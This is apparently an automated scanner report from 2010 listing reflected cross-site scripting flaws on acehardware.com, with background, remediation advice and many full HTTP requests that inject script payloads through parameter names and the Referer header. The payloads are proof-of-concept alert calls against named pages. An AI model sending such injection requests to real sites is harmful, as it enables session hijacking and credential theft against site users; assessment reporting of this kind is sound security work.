Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.acehardware.com/home/index.jsp [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.acehardware.com
Path:
/home/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 525bf--><script>alert(1)</script>ac030e2206a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /home/index.jsp?525bf--><script>alert(1)</script>ac030e2206a=1 HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:35 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 106964
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.2. http://www.acehardware.com/shopbyBrand/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.acehardware.com
Path:
/shopbyBrand/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 9712f--><script>alert(1)</script>989d8804920 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /shopbyBrand/index.jsp?9712f--><script>alert(1)</script>989d8804920=1 HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556;
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:26:11 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 408432 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47fc5"><script>alert(1)</script>d5e060a75b5 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /cart/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556; Referer: http://www.google.com/search?hl=en&q=47fc5"><script>alert(1)</script>d5e060a75b5
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:24:43 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 86779 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7df32"><script>alert(1)</script>a3892abe44 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /category/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556; Referer: http://www.google.com/search?hl=en&q=7df32"><script>alert(1)</script>a3892abe44
Response (redirected)
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:47 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 106886
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4c50"><script>alert(1)</script>d5e3c86cd80 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /family/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556; Referer: http://www.google.com/search?hl=en&q=b4c50"><script>alert(1)</script>d5e3c86cd80
Response (redirected)
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:47 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 106888
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b14d7"><script>alert(1)</script>c3178b5f822 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /home/index.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556; Referer: http://www.google.com/search?hl=en&q=b14d7"><script>alert(1)</script>c3178b5f822
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:36 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 106791
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b872"><script>alert(1)</script>a2657767c7 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /info/asklou.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556; Referer: http://www.google.com/search?hl=en&q=4b872"><script>alert(1)</script>a2657767c7
Response (redirected)
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:24:02 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 75415 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9404a"><script>alert(1)</script>c392790ff13 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /info/lawnGarden.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556; Referer: http://www.google.com/search?hl=en&q=9404a"><script>alert(1)</script>c392790ff13
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:23:53 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 71470 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d78d7"><script>alert(1)</script>f9b51a2c452 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /infodept/iskills.jsp HTTP/1.1 Host: www.acehardware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=QQhlNbfS3Kv1TJy3QydzV5G1DLjS9c5b97p8tppcJvvFN7SYR5mQ!-141289455; __g_c=w%3A1%7Cb%3A4%7Cr%3Ahttp%24*%24//www.acehardware.com/home/index.jsp%3Frdir%3D1A_2___1293639576820%7Cc%3A285307860616199%7Cd%3A1%7Ca%3A1%7Ce%3A0.5%7Cf%3A0%7Ch%3A1%7Cg%3A1; s_sess=%20s_p7_persist%3DCABECOME_DF%253A3388719%253AACE%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=185450681.1293639556.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.a=1293639580923; rvp=3388719:; browser_id=118733033484; __g_u=285307860616199_1_0.5_0_5_1294068625634_1; s_pers=%20s_nr%3D1293636701994%7C1296228701994%3B%20s_lastvisit%3D1293639556668%7C1388247556668%3B%20gpv_p27%3DMy%2520Account%253A%2520Sign-In%7C1293641380330%3B; fsr.session={"v":1,"rid":"1293636636322_310950","pv":3,"to":4.6,"c":"http://www.acehardware.com/home/index.jsp","lc":{"d0":{"v":3,"s":true,"e":1}},"cd":0,"sd":0,"f":1293639577528}; rvdata=XR79524e5917584a1a0f4f1a175b0a0a0304; __utma=185450681.1598117939.1293639556.1293639556.1293639556.1; __utmc=185450681; __utmb=185450681.1.10.1293639556; Referer: http://www.google.com/search?hl=en&q=d78d7"><script>alert(1)</script>f9b51a2c452
Response
HTTP/1.1 200 OK Date: Wed, 29 Dec 2010 16:24:00 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 104621 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1b6b"><script>alert(1)</script>cc551bcfcf7 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
